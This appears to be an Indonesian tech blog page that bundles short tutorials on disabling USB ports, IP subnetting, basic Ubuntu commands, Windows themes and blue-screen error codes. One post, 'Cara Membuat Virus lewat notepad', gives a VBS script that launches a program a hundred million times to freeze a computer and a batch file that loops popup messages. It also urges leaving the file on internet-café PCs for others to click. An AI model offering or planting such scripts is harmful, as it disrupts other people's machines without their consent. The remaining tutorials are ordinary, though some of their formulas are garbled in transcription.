adsense1

Cara Mendisable USB Port Flashdisk Untuk Keamanan Komputer dan Laptop

Cara Mendisable USB Port Flashdisk Untuk Keamanan Komputer dan Laptop image
Teman sering nebeng komputer Anda? Yakin flashdisknya telah bersih dari virus? Hati2!
Lagi-lagi bahas flashdisk, memang media penyimpanan data yang sangat mungil ini sering jadi biang kerok dari menyebarnya virus ke komputer, laptop maupun netbook Anda. Kecerobohan menancapkan flashdisk tanpa di scan akan berakibat fatal. Apalagi bagi Anda yang memiliki komputer maupun laptop yang kadang masih harus berbagi dengan saudara atau teman Anda yang kurang memperhatikan pentingnya scanning virus saat menancapkan flashdisk.
Banyak sekali kasus setelah komputer atau laptop Anda di pinjam teman atau saudara hanya dalam hitungan detik saja virus dari flashdisk teman atau saudara Anda langsung menyerang beberapa detik setelah ditancapkan. Hal ini tentu akan sangat merugikan Anda apalagi jika Anda tidak bisa mengatasi virus ataupun menginstal netbook Anda yang terlanjur menjadi sarang virus dan tidak bisa dihapus oleh antivirus Anda. Sangat memakan waktu untuk perbaikannya.
  Oleh karena itulah, USB Flashdisk Anda sebaiknya di disable, selain meminimalisir serangan virus,  hal ini juga akan mengamankan data Anda agar tidak dicuri atau dicopy menggunakan USB flashdisk. Anda tidak usah khawatir, Anda dapat men-enable-kan (menghidupkan fungsi) USB Flashdisk Anda kembali. Nah inilah Cara Mendisable USB Port Flashdisk Untuk Keamanan Komputer dan Laptop!
2 TIPS MANUAL
  1. Disable dari Control Panel
  2. Disable dari Registry Windows (regedit)
TIPS 1 : Disable dari Control Panel
Tips pertama ini adalah menonaktifkan USB flashdisk melalui control panel :
  1. Masukklah Start Program > Control Panel > System > Hardware > Device Manager
  2. Carilah Universal Serial Bus Controllers
  3. Klik Kanan pada Intel(R) 82801G (ICH7 Family) USB Universal Host Controller – …
  4. Pilih Disable, teruskan langkah 3 sampai semua terdisable
Untuk mengaktifkan kembali fungsi USB tinggal klik kanan kemudian Enable
*) Peringatan : Jika Anda menggunakan perangkat lain seperti printer USB, mouse USB akan ikut terdisable. Saat hal itu terjadi gunakan keyboard Anda untuk melakukan enable kembali.
TIPS 2 : Disable dari Registry Windows
Tips Kedua ini adalah menonaktifkan USB flashdisk dari tweak registry windows :
  1. Dari menu Start pilih Run
  2. Ketikkan regedit pada kotak dialog run, lalu tekan tombol Enter atau klik OK.
  3. Pada jendela Registry Editor, cari HKEY_LOCAL_MACHINESYSTEMControlSet001ServicesUSBSTOR. Lalu pada kolom di sebelah kanan, cari DWORDStart. Ganti angka 3 menjadi angka 4.
Untuk menampilkan USB tinggal ganti angka 4 menjadi 3.
Demikianlah  Tips tentang Cara Disable USB Flashdisk Untuk Keamanan Komputer dan Laptop semoga membantu Anda. Terimakasih atas kunjungan Anda, semoga menjadikan belajar komputer online kita bermanfaat
Read More »

Cara Membuat Virus lewat notepad (.bat , .vbs )

 
cara membuat virus melalui notepad dengan eksistensi .bat saya nggak bisa panjang lebar hehe langsung saja ya  :


Langkah-langkah membuat Virus .vsb :

1. Buka Notepad
2. Copy Script ini:



option explicit

dim wshshell
set wshshell=wscript.createobject("wscript.shell")

dim x
for x = 1 to 100000000
wshshell.run "tourstart.exe"
next



3. Save notepad dengan nama namavirusanda.vbs

4. Jalankan file tersebut dan lihat, komputer anda akan dipenuhi oleh 100000000
tourstart yang akan memenuhi layar anda, dan akan membuat komputer hang total
sebelum anda mendelete semuanya.
TIPS ISENG:simpan file itu diwarnet warnet biar orang ngeliat filenya n ngklik filenya...haha

Langkah-langkah membuat Virus .bat :

ini dia scipt yang tinggal di copy pastekan di notepad 




@ECHO off
:Begin
msg * -WARNING-
msg * Sorry PC lo kaya'y ngaco....
msg * Udah install ulang aja.....
msg * Biar masalah nya kelar....
msg * Wkwkwkwkwkkkkkkkk....
GOTO BEGIN

simpan dengan eksistensi .bat misalnya tiarhacker.bat
#cara kerja virus mirip alert seperti pada blog namun ini akan muncul terus-terusan cara menghilangkannya di restart saja.

kata-katanya bisa sobat ganti sesuka sobat. Oh iya virus ini berulang-ulang karena ada tambahan GOTO BEGIN, kenapa ? karena sebelum masage itu ada begin dan ketika massage itu selesai programnya di perintahkan untuk kembali ke begin (GOTO BEGIN) #begitu menurut saya hehe
oke segitu aja dulu yak postingan ini jangan make buat yang nggak-nggak :D


Makasih gan .. ^_^
Read More »

Penghitungan Subnetting

subnetrouter2.JPG 












Setelah anda membaca artikel Konsep Subnetting,dan memahami konsep Subnetting dengan baik. Kali ini saatnya anda mempelajari teknik penghitungan subnetting. Penghitungan subnetting bisa dilakukan dengan dua cara, cara binary yang relatif lambat dan cara khusus yang lebih cepat. Pada hakekatnya semua pertanyaan tentang subnetting akan berkisar di empat masalah: Jumlah Subnet, Jumlah Host per Subnet, Blok Subnet, dan Alamat Host- Broadcast.
Penulisan IP address umumnya adalah dengan 192.168.1.2. Namun adakalanya ditulis dengan 192.168.1.2/24, apa ini artinya? Artinya bahwa IP address 192.168.1.2 dengan subnet mask 255.255.255.0. Lho kok bisa seperti itu? Ya, /24 diambil dari penghitungan bahwa 24 bit subnet mask diselubung dengan binari 1. Atau dengan kata lain, subnet masknya adalah: 11111111.11111111.11111111.00000000 (255.255.255.0). Konsep ini yang disebut dengan CIDR (Classless Inter-Domain Routing) yang diperkenalkan pertama kali tahun 1992 oleh IEFT.
Pertanyaan berikutnya adalah Subnet Mask berapa saja yang bisa digunakan untuk melakukan subnetting? Ini terjawab dengan tabel di bawah:
Subnet MaskNilai CIDR
255.128.0.0/9
255.192.0.0/10
255.224.0.0/11
255.240.0.0/12
255.248.0.0/13
255.252.0.0/14
255.254.0.0/15
255.255.0.0/16
255.255.128.0/17
255.255.192.0/18
255.255.224.0/19
Subnet MaskNilai CIDR
255.255.240.0/20
255.255.248.0/21
255.255.252.0/22
255.255.254.0/23
255.255.255.0/24
255.255.255.128/25
255.255.255.192/26
255.255.255.224/27
255.255.255.240/28
255.255.255.248/29
255.255.255.252/30

SUBNETTING PADA IP ADDRESS CLASS C
Ok, sekarang mari langsung latihan saja. Subnetting seperti apa yang terjadi dengan sebuah NETWORK ADDRESS 192.168.1.0/26 ?
Analisa: 192.168.1.0 berarti kelas C dengan Subnet Mask /26 berarti 11111111.11111111.11111111.11000000 (255.255.255.192).
Penghitungan: Seperti sudah saya sebutkan sebelumnya semua pertanyaan tentang subnetting akan berpusat di 4 hal, jumlah subnet, jumlah host per subnet, blok subnet, alamat host dan broadcast yang valid. Jadi kita selesaikan dengan urutan seperti itu:
  1. Jumlah Subnet = 2x, dimana x adalah banyaknya binari 1 pada oktet terakhir subnet mask (2 oktet terakhir untuk kelas B, dan 3 oktet terakhir untuk kelas A). Jadi Jumlah Subnet adalah 22 = 4 subnet
  2. Jumlah Host per Subnet = 2y – 2, dimana y adalah adalah kebalikan dari x yaitu banyaknya binari 0 pada oktet terakhir subnet. Jadi jumlah host per subnet adalah 26 – 2 = 62 host
  3. Blok Subnet = 256 – 192 (nilai oktet terakhir subnet mask) = 64. Subnet berikutnya adalah 64 + 64 = 128, dan 128+64=192. Jadi subnet lengkapnya adalah 0, 64, 128, 192.
  4. Bagaimana dengan alamat host dan broadcast yang valid? Kita langsung buat tabelnya. Sebagai catatan, host pertama adalah 1 angka setelah subnet, dan broadcast adalah 1 angka sebelum subnet berikutnya.
  5. Subnet
    192.168.1.0
    192.168.1.64
    192.168.1.128
    192.168.1.192
    Host Pertama
    192.168.1.1
    192.168.1.65
    192.168.1.129
    192.168.1.193
    Host Terakhir
    192.168.1.62
    192.168.1.126
    192.168.1.190
    192.168.1.254
    Broadcast
    192.168.1.63
    192.168.1.127
    192.168.1.191
    192.168.1.255
Kita sudah selesaikan subnetting untuk IP address Class C. Dan kita bisa melanjutkan lagi untuk subnet mask yang lain, dengan konsep dan teknik yang sama. Subnet mask yang bisa digunakan untuk subnetting class C adalah seperti di bawah. Silakan anda coba menghitung seperti cara diatas untuk subnetmask lainnya.
Subnet MaskNilai CIDR
255.255.255.128/25
255.255.255.192/26
255.255.255.224/27
255.255.255.240/28
255.255.255.248/29
255.255.255.252/30

SUBNETTING PADA IP ADDRESS CLASS B
Berikutnya kita akan mencoba melakukan subnetting untuk IP address class B. Pertama, subnet mask yang bisa digunakan untuk subnetting class B adalah seperti dibawah. Sengaja saya pisahkan jadi dua, blok sebelah kiri dan kanan karena masing-masing berbeda teknik terutama untuk oktet yang “dimainkan” berdasarkan blok subnetnya. CIDR /17 sampai /24 caranya sama persis dengan subnetting Class C, hanya blok subnetnya kita masukkan langsung ke oktet ketiga, bukan seperti Class C yang “dimainkan” di oktet keempat. Sedangkan CIDR /25 sampai /30 (kelipatan) blok subnet kita “mainkan” di oktet keempat, tapi setelah selesai oktet ketiga berjalan maju (coeunter) dari 0, 1, 2, 3, dst.
Subnet MaskNilai CIDR
255.255.128.0/17
255.255.192.0/18
255.255.224.0/19
255.255.240.0/20
255.255.248.0/21
255.255.252.0/22
255.255.254.0/23
255.255.255.0/24
Subnet MaskNilai CIDR
255.255.255.128/25
255.255.255.192/26
255.255.255.224/27
255.255.255.240/28
255.255.255.248/29
255.255.255.252/30
Ok, kita coba dua soal untuk kedua teknik subnetting untuk Class B. Kita mulai dari yang menggunakan subnetmask dengan CIDR /17 sampai /24. Contoh network address 172.16.0.0/18.
Analisa: 172.16.0.0 berarti kelas B, dengan Subnet Mask /18 berarti 11111111.11111111.11000000.00000000 (255.255.192.0).
Penghitungan:
  1. Jumlah Subnet = 2x, dimana x adalah banyaknya binari 1 pada 2 oktet terakhir. Jadi Jumlah Subnet adalah 22 = 4 subnet
  2. Jumlah Host per Subnet = 2y – 2, dimana y adalah adalah kebalikan dari x yaitu banyaknya binari 0 pada 2 oktet terakhir. Jadi jumlah host per subnet adalah 214 – 2 = 16.382 host
  3. Blok Subnet = 256 – 192 = 64. Subnet berikutnya adalah 64 + 64 = 128, dan 128+64=192. Jadi subnet lengkapnya adalah 0, 64, 128, 192.
  4. Alamat host dan broadcast yang valid?
  5. Subnet
    172.16.0.0
    172.16.64.0
    172.16.128.0
    172.16.192.0
    Host Pertama
    172.16.0.1
    172.16.64.1
    172.16.128.1
    172.16.192.1
    Host Terakhir
    172.16.63.254
    172.16.127.254
    172.16.191.254
    172.16.255.254
    Broadcast
    172.16.63.255
    172.16.127.255
    172.16.191.255
    172.16..255.255
Berikutnya kita coba satu lagi untuk Class B khususnya untuk yang menggunakan subnetmask CIDR /25 sampai /30. Contoh network address 172.16.0.0/25.
Analisa: 172.16.0.0 berarti kelas B, dengan Subnet Mask /25 berarti 11111111.11111111.11111111.10000000 (255.255.255.128).
Penghitungan:
  1. Jumlah Subnet = 29 = 512 subnet
  2. Jumlah Host per Subnet = 27 – 2 = 126 host
  3. Blok Subnet = 256 – 128 = 128. Jadi lengkapnya adalah (0, 128)
  4. Alamat host dan broadcast yang valid?
Subnet
172.16.0.0172.16.0.128172.16.1.0172.16.255.128
Host Pertama172.16.0.1172.16.0.129172.16.1.1172.16.255.129
Host Terakhir172.16.0.126172.16.0.254172.16.1.126172.16.255.254
Broadcast172.16.0.127172.16.0.255172.16.1.127172.16.255.255
Masih bingung juga? Ok sebelum masuk ke Class A, coba ulangi lagi dari Class C, dan baca pelan-pelan ;)

SUBNETTING PADA IP ADDRESS CLASS A
Kalau sudah mantab dan paham, kita lanjut ke Class A. Konsepnya semua sama saja. Perbedaannya adalah di OKTET mana kita mainkan blok subnet. Kalau Class C di oktet ke 4 (terakhir), kelas B di Oktet 3 dan 4 (2 oktet terakhir), kalau Class A di oktet 2, 3 dan 4 (3 oktet terakhir). Kemudian subnet mask yang bisa digunakan untuk subnetting class A adalah semua subnet mask dari CIDR /8 sampai /30.
Kita coba latihan untuk network address 10.0.0.0/16.
Analisa: 10.0.0.0 berarti kelas A, dengan Subnet Mask /16 berarti 11111111.11111111.00000000.00000000 (255.255.0.0).
Penghitungan:
  1. Jumlah Subnet = 28 = 256 subnet
  2. Jumlah Host per Subnet = 216 – 2 = 65534 host
  3. Blok Subnet = 256 – 255 = 1. Jadi subnet lengkapnya: 0,1,2,3,4, etc.
  4. Alamat host dan broadcast yang valid?
Subnet
10.0.0.010.1.0.010.254.0.010.255.0.0
Host Pertama10.0.0.110.1.0.110.254.0.110.255.0.1
Host Terakhir10.0.255.25410.1.255.25410.254.255.25410.255.255.254
Broadcast10.0.255.25510.1.255.25510.254.255.25510.255.255.255
Mudah-mudahan sudah setelah anda membaca paragraf terakhir ini, anda sudah memahami penghitungan subnetting dengan baik. Kalaupun belum paham juga, anda ulangi terus artikel ini pelan-pelan dari atas. Untuk teknik hapalan subnetting yang lebih cepat, tunggu di artikel berikutnya ;)
Catatan: Semua penghitungan subnet diatas berasumsikan bahwa IP Subnet-Zeroes (dan IP Subnet-Ones) dihitung secara default. Buku versi terbaru Todd Lamle dan juga CCNA setelah 2005 sudah mengakomodasi masalah IP Subnet-Zeroes (dan IP Subnet-Ones) ini. CCNA pre-2005 tidak memasukkannya secara default (meskipun di kenyataan kita bisa mengaktifkannya dengan command ip subnet-zeroes), sehingga mungkin dalam beberapa buku tentang CCNA serta soal-soal test CNAP, anda masih menemukan rumus penghitungan Jumlah Subnet = 2x – 2
Tahap berikutnya adalah silakan download dan kerjakan soal latihan subnetting. Jangan lupa mengikuti artikel tentang Teknik Mengerjakan Soal Subnetting untuk memperkuat pemahaman anda dan meningkatkan kemampuan dalam mengerjakan soal dalam waktu terbatas.
Read More »

Perintah-perintah Dasar di Linux Ubuntu Server

http://www.kangnanto.com/foto_berita/92linux.jpg
Ubuntu sangat terkenal dengan CLI-nya (Command Line Interface). CLI sendiri adalah antar muka yang tidak menyediakan grafik, baik berupa gambar-gambar, jendela-jendela ataupun animasi-animasi yang bisa memanjakan pengguna, melainkan hanya berupa teks yang harus diketikkan oleh pengguna. Jadi, apabila user ingin melakukan operasi dalam sistem operasi tersebut, misalnya melakukan copy,  rename,  cut, delete, dan sebagainya,  maka pengguna harus megetikkan perintah berupa teks dengan cara manual dan bukan dengan klik-klik seperti pada interface GUI (Graphic User Interface).

Berikut ini adalah beberapa perintah yang bisa digunakan di sistem operasi Ubuntu pada mode CLI, baik Desktop maupun Server, yang juga banyak untuk bisa digunakan pada distro yang lain. Pada contoh ini saya menggunakan Ubuntu server 10.04

 
1. sudo su
Digunakan untuk login sebagai root/pengguna tertinggi
Sintaks sudo su
2. login
Digunakan untuk login sebagai user lain, namun harus menjadi root dulu untuk bisa menjalankan peirntah ini.
Sintaks : login namauser
Contoh : login adam
3. cd
Digunakan untuk berpindah direktori
Sintaks : cd alamat_direktori
Contoh : cd /var/www
4. pwd
Digunakan untuk memperlihatkan di direktori mana posisi kita berada sekarang.
Sintaks : pwd
5. ls
Digunakan untuk melihat isi sebuah direktori.
Sintaks : ls
6. cp
Digunakan untuk melakukan copy file.
Sintaks : cp /direktori/file_yang_ingin_dicopy /direktori tujuan
Contoh : cp /etc/file1.txt /var/www
7. mv
Digunakan untuk melakukan memindahkan, cut atau rename file.
Sintaks :
mv /direktori/file_yang_ingin_dicut /direktori tujuan (cut)
mv /direktori/file_yang_ingin_direname /nama_baru_file (rename)
Contoh:
mv /etc/file1.txt /var/www
mv /etc/file1.txt file2.txt
8. mkdir
Digunakan untuk membuat folder baru.
Sintaks : mkdir nama_folder
Contoh : mkdir folder1
9. rmdir
Digunakan untuk menghapus folder.
Sintaks : rmdir nama_folder
Contoh : rmdir folder1
10. touch
Digunakan untuk membuat file baru.
Sintaks : touch nama_file
Contoh : touch file1.txt
11. rm
Digunakan untuk menghapus file.
Sintaks : rm nama_file
Contoh : rm file1.txt
12. more
Digunakan untuk menampilkan isi sebuah file
Sintaks : more nama_fie
Contoh : more file1.txt
13. echo
Digunakan untuk menuliskan sesuatu kata atau kalimat ke sebuah file.
Sintaks : echo “isi pesan” nama_file
Contoh : echo “Hai ini adalah contoh pesan” >> file1.txt
14. adduser
Digunakan untuk menambah user baru.
Sintaks : adduser nama_user
Contoh : adduser adamkurniawan
15. addgroup
Digunakan untuk menambah group baru
Sintaks : addgroup nama_group
Contoh : addgroup grup1
16. lsusb
Digunakan untuk melihat perangkat usb yang sedang terkoneksi ke komputer
Sintaks : lsusb
17. lspci
Digunakan untuk melihat perangkat pci yang sedang terkoneksi ke komputer
Sintaks : lspci
18. lshw
Digunakan untuk melihat hardware komputer.
Sintaks : lshw
19. dmesg
Digunakan untuk melihat hardware yang sedang beraktifitas
Sintaks : dmseg
20. top
Digunakan untuk melihat proses yang sedang berjalan, seperti Task Manager pada Windows.
Sintaks : top
21. cpuinfo
Digunakan untuk melihat spesifikasi komputer.
Sintaks : more /proc/cpuinfo
22. meminfo
Digunakan untuk melihat status RAM
Sintaks : more /proc/meminfo
23. clear
Digunakan untuk membersihkan layar
Sintaks : clear
24. halt
Digunakan untuk mematikan komputer, namun harus sebagai root.
Sintaks : halt
25. reboot
Digunakan untuk merestart komputer, namun harus sebagai root.
Sintaks : reboot
26. exit
Digunakan untuk keluar dari terminal.
Sintaks : exit
27. wget
Digunakan untuk mendownload via terminal
Sintaks : wget link_download
Contoh : wget www.insightcalendar.com/Insight_Calendar_1-1_Setup.exe
28. ifconfig
Digunakan untuk melihat konfigurasi ethernet/kartu jaringan.
Sintaks : ifconfig
29. apt-get
Digunakan untuk memperoleh paket/software dari repository ubuntu secara online.
Sintax : apt-get nama_paket
Contoh :
apt-get update (untuk melakukan update repository)
apt-get update wine (untuk mendapatkan paket wine)
30. tar
Digunakan untuk melakukan extract file.
Sintaks : tar [parameter] nama_file
Contoh : tar -xzvf komodo-edit-5.2.4-4343-linux-libcpp6-x86.tar.gz
31. nautilus
Digunakan untuk membuka tampilan GUI secara langsung.
Sintaks : nautilus
Contoh : sudo nautilus (menggunakan mode GUI dengan status root)
32. df -h
melihat sisa kapasitas harddisk.
sintaks : df -h
33. who     
digunakan untuk melihat nama login kita.
sintaks : who      
34. cat          
digunakan untuk membuka file.
sintaks : cat        
contoh: cat test.txt
35. date 
melihat tanggal
sintaks : date
36. cal
melihat kalender
sintaks : melihat tanggal
37. hostname 
Menampilkan nama komputer.
sintaks: hostname 
38. free     
Melihat Free memory.
sintaks: free     
39. History
melihat perintah apa saja yang pernah diketik
sintaks : History
40. deluser 

Menghapus user dari sistem

sintaks : deluser [nama user]

uname -r = Melihat kernel yang digunakan pada OS
uname -a = Informasi system kernel anda
cat /proc/cpuinfo = Melihat file pada /proc directori yang bukan merupakan file nyata (not real files).

cat /proc/interrupts = Melihat alamat interrupt yang dipakai.

cat /proc/version = Versi dari Linux dan informasi lainnya.

cat /proc/filesystems = Melihat filesystem yang digunakan.

cat /etc/printcap = Melihat printer yang telah disetup

finger username = Melihat informasi user, coba jalankan; fingerroot
last = Melihat user sebelumnya yang telah login di komputer.
uptime = Melihat jumlah waktu pemakaian komputer oleh seseorang, terhitung proses reboot terakhir.
ps (=print status)= Melihat proses-proses yang dijalankan oleh user
ps axu = Melihat seluruh proses yang dijalankan, walaupun tanpa terminal control, juga ditampilkan nama dari user untuk setiap proses.
top = Melihat proses yang berjalan, dengan urutan penggunaan cpu.

apropos =  Untuk mencari perintah pada sistem operasi yang mempunyai fungsi yang sama. 

chmod = Mengubah perizinan suatu direktori/file. 

wc = Menghitung jumlah kata, jumlah baris dan jumlah karakter dalam suatu file . 

man = Singkatan dari manual yaitu untuk menampilkan halaman manual untuk semua perintah UNIX.

grep = Mencari isi suatu file di sembarang directori. 

pwd = Menampilkan nama direktori dimana Anda saat itu sedang berada.

ps = Digunakan untuk memonitor informasi tentang proses yang aktif dalam sistem UNIX. 

kill =  Digunakan untuk menghentikan proses yang sedang berjalan. 

bc = Perintah bc dapat digunakan sebagai calculator. 

wall = Pengiriman pesan oleh super user. 

:w di gunakan u/ menyimpan file or sama dengan (save).
:q digunakan u/ keluar dari editor tandan mentimpan file.
:wq digunakan u/ keluar dari editor sekaligus menyimpan file.

tail = Menampilkan 10 baris terakhir dari suatu file.

ls –l = Melihat semua file lengkap

ls -a = Menampilkan semua file atau direktori yang tersembunyi

ls -f = Menampilkan semua file atau direktori tanpa proses shorting

grep root /etc/passwd =  Mencari kata atau kalimat dalam fil
Read More »

Menggunakan Themes Bawaan Windows 7 Yang Tersembunyi

Pada versi Windows 7 Home Premium, Professional, Ultimate, dan Enterprise Edition tedapat Themes Aero yang indah.


Kali ini saya akan membahas tentang mencari dan menggunakan theme bawaan Windows 7 yang tersembunyi.

Berikut langkah-langkah :

Explorer >> System C: >> Windows >> Globalization >> saat anda berada di folder ini, cari dengan kata kunci "M", maka akan muncul seperti ini


Buka folder satu per satu >> di folder "Themes", disitulah terdapat theme >> install theme satu per satu.


Semoga bermanfaat !!!

Read More »

Mengenal 36 Error Blue Screen Pada Windows

Berikut 36 Error Blue Screen Pada windows :


1. IRQL_NOT_LESS_OR_EQUAL (0X0000000A)
Error ini yang paling sering muncul pada saat terjadi Blue Screen.
Pesan kesalahan ini biasanya disebabkan kerena ada ketidakcocokan driver yang terinstall di komputer.
Penyebabnya:
- Driver yang bentrok atau tidak cocok
- Permasalahan pada Video Card, hal ini mencakup video card yang di overclock melebihi batas atau Anda baru berganti Video card dan Anda belum menguninstall driver Video card lama dari chipset berbeda
- Permasalahan pada Audio Card, meliputi kesalahan konfigurasi atau bug dalam driver sound card

2. NTFS_FILE_SYSTEM atau FAT_FILE_SYSTEM (0X00000024) atau (0X00000023)
Pesan error ini setidaknya sudah sedikit memberikan gambaran di mana kerusakan berada, yaitu ada di partisi atau filesystemnya tetapi bukan di harddisknya.
Kita bisa melakukan pengecekan dengan memeriksa kabel SATA atau PATA atau bisa mengecek partisi dengan tool chkdsk.

3. UNEXPECTED_KERNEL_MODE_TRAP (0X0000007F)
Bila Anda mendapatkan pesan error seperti ini, dapat disebabkan karena:
- Overclock Hardware yang berlebihan
- Komponen komputer yang terlalu panas
- BIOS yang korup
- Memory dan CPU yang cacat

4. DATA_BUS_ERROR
Pesan error ini disebabkan karena adanya kemungkinan bahwa memory atau slot memory di motherboard rusak.

5. PAGE_FAULT_IN_NONPAGED_AREA
Pesan error ini disebabkan karena adanya kerusakan hardware, termasuk memory utama, memory video card, atau memory di processor (L2 Cache)

6. INACCESSIBLE_BOOT_DEVICE
Pesan error ini disebabkan karena adanya kesalahan dalam konfigurasi jumper harddisk yang salah, virus boot sector, driver IDE controller yang salah, atau kesalahan driver chipset.

7. VIDEO_DRIVER_INIT_FAILURE
Pesan error ini disebabkan karena adanya Kesalahan terjadi pada instalasi driver video card yang kurang sempurna, restart pada saat instalasi atau juga dapat terjadi karena kesalahan dalam instalasi driver.

8. BAD_POOL_CALLER
Pesan error ini disebabkan karena adanya Kesalahan ini dapat terjadi karena kesalahan atau driver yang tidak kompatibel. Sering terjadi saat melakukan instalasi XP dari upgrade, atau bukan dari instalasi baru.

9. PEN_LIST_CORRUPT
Pesan error ini disebabkan karena adanya kerusakan RAM

10. MACHINE_CHECK_EXCEPTION
Pesan error ini disebabkan oleh cacatnya CPU, atau yang di overclock secara agresif, serta power supply yang kekurangan daya atau rusak.

11. KMODE_EXCEPTION_NOT_HANDLED (0×0000001E)
Pesan Stop 0×0000001E mengindikasikan bahwa kernel Windows XP mendeteksi sebuah instruksi prosesor ilegal atau yang tidak diketahui. Penyebab pesan Stop ini 0×0000001E mirip dengan penyebab pesan Stop 0×0000000A, yaitu karena pelanggaran akses dan memori yang tidak valid. Biasanya error-handler (pengendali error) default dari Windows XP akan mengatasi masalah ini jika tidak terdapat error-handling routines didalam kode instruksi yang dijalankan.

12. MISMATCHED_HAL (0×00000079)
Menunjukkan bahwa HAL (Hardware Abstraction Layer) dan tipe kernel komputer tidak cocok. Error ini sering terjadi ketika setting firmware ACPI dirubah. Contohnya, Anda mungkin meng-install Windows XP di komputer X86-based dengan opsi enable pada ACPI firmware di-enable-kan dan kemudian Anda disable-kan. Error ini dapat juga terjadi ketika file konfigurasi yang tidak cocok antara single dan multi-processor di-copy-kan ke sistem.
13. ATTEMPTED WRITE TO READONLY MEMORY (0x000000BE)
Biasanya masalah ini disebabkan adanya kesalahan pada driver atau service. Tidak beda jauh dengan yang nomor 1 diatas.
14. DRIVER POWER STATE FAILURE (0X0000009F)
Tidak cocok/kompatibel antara “computer’s power management” dengan driver atau services yang berjalan. Biasa terjadi pada saat komputer melakukan “hibernasi”.
15. DRIVER UNLOADED WITHOUT CANCELLING PENDING OPERATIONS (0X000000CE)
Penyebab masalah ini mirip dengan masalah Attempted Write To Readonly Memory, bisa lihat masalah tersebut diatas.  
16. DRIVER USED EXCESSIVE PTES (0X000000D)
Lihat pada masalah No More System PTEs.
17. HARDWARE INTERRUPT STORM (0X000000F2)
Masalah timbul ketika suatu hardware (USB atau SCSI controller) gagal untuk “melepas” sebuah IRQ. Kegagalan tersebut biasanya disebabkan karena masalah pada driver. Selain itu masalah ini juga dapat timbul karena adanya dua perangkat menggunakan IRQ yang sama.
18. KERNEL DATA INPAGE ERROR (0X0000007A)
Masalah timbul pada virtual memory, biasanya karena windows tidak dapat membaca atau menulis data ke swap file. Kemungkinan penyebab antara lain bad sectors, virus, memory yang cacat, atau bahkan kerusakan motherboard.
19. KERNEL STACK INPAGE ERROR (0X00000077)
Penyebab mirip dengan masalah “Kernel Data Inpage Error,” di atas.

20. KMODE EXCEPTION NOT HANDLED (0X0000001E)
Biasanya masalah ini disebabkan adanya kesalahan pada driver atau service, konfilk IRQ. Apabila nama file dan service disebutkan coba uninstal software tersebut atau driver tersebut (rolling back the driver). Masalah ini juga dapat disebabkan karena kurangnya space pada disk pada saat melakukan instalasi.
21. NO MORE SYSTEM PTES (0X0000003F)
Masalah muncul karena Windows kekurangan Page Table Entries (PTEs). PTEs digunakan untuk melakukan mapping RAM. Dimana mapping ini dilakukan oleh Virtual Memory Manager (VMM). Masalah ini juga dapat muncul ketika anda menggunakan beberapa monitor sekaligus.
22. STATUS IMAGE CHECKSUM MISMATCH (0Xc0000221)
Kemungkinan penyebab error ini adalah kerusakan pada swap file, atau driver yang corrupted.
23. STATUS SYSTEM PROCESS TERMINATED (0Xc000021A)
Disebabkan adanya masalah pada Winlogon.exe atau pada Client Server Runtime Subsystem (CSRSS). Bisa juga disebabkan karena suatu user dengan level administrator merubah permission suatu file-file penting pada sistem Windows.
24. UNMOUNTABLE BOOT VOLUME (stop code 0X000000ED)
Disebabkan karena Windows tidak bisa “mount” boot volume. Lihat juga pada bagian “Inaccessible Boot Device,”
25. UNABLE TO LOCATE DLL (0 X00000135)
Disebabkan oleh sebuah file yang telah hilang atau rusak, atau kesalahan registri.
26. THREAD STUCK IN DEVICE DRIVER (X000000EA)
Biasanya disebabkan oleh video card (VGA) atau disebabkan oleh driver-nya.
27. ACPI BIOS Error (x000000A5)
BIOS motherboard tidak mendukung/tidak support spesifikasi ACPI.
28. Kernel Mode Exception Not Handled (x0000008E)
Kesalahan pada kernel level aplikasi, tetapi Windows tidak menangkap kesalahan prosesor. Biasanya kesalahan kompatibilitas hardware.
29. NMI Hardware Failure (x00000080)
Disebabkan oleh hardware (Sepertinya ada kesalahan lblue screen dan hardware bond).
30. System Thread Exception Not Handled(x0000007E)
Kesalahan system process, tetapi Windows tidak dapat menangkap kesalahan prosesor. Banyak penyebabnya, termasuk: kompatibilitas hardware, ada masalah system driver atau system service, atau beberapa software.
31. Registry Error (x00000051)
kesalahan system configuration manager atau kesalahan manajer karena hard disk itu sendiri memiliki kerusakan fisik atau file system, sehingga di dalam register file membaca input / output erorr.
32. FTDISK Internal Error (x00000058)
Kegagalan karena kesalahan driver utama.
33. Critical Service Failed (x0000005E)
Awal yang sangat penting untuk mengidentifikasi sistem yang disebabkan.
34. Session3 Initialization Failed (x0000006F)
Error ini biasanya muncul pada Windows startup, biasanya muncul pertanyaan driver atau kerusakan yang timbul dari sistem file.
35. Process Has Locked Pages(x00000076)
Dikarenakan driver pada penyelesaian input / output.
- Solusinya :
Langkah pertama: Klik Start -> Run: regedt32, cari [HKLM \ SYSTEM \ Currentcontrol Set \ control \ session manager \ memory management], double-byte value di sisi kanan “TrackLockedPages”, nilai 1.Langkah Kedua: Jika blue screen lagi, maka pesan kesalahan akan menjadi: STOP: 0x0000000CB (0xY, 0xY, 0xY, 0xY) DRIVER_LEFT_LOCKED_PAGES_IN_PROCESS salah satu dari keempat “0xY” akan muncul nama driver yang menjadi masalah, repair atau uninstall driver yang muncul.Langkah ketiga: Untuk masuk ke registri, hapus “TrackLockedPages” yang sudah ditambahkan tadi.
Multiple IRP Complete Request (stop code 0 x00000044) Biasanya disebabkan oleh driver perangkat hardware.
- Uninstall driver yang baru diinstal.
36. RDR File System (x00000027)
Penyebab kesalahan ini sulit untuk dinilai, tetapi “out of Windows memory management problem” kemungkinan akan menyebabkan munculnya stop code ini.
Solusinya :
- Jika disebabkan karena memory management, meningkatkan/upgrade memori (RAM) akan memecahkan masalah.
Semoga bermanfaat !!!
Read More »

Cara Menginstal Ubuntu Dan Windows Xp Dalam Satu komputer_seson 2

Tutorial berikut akan mengajarkan anda bagaimana menginstal sistem operasi Ubuntu baru 11,10 (Ocelot Oneiric).
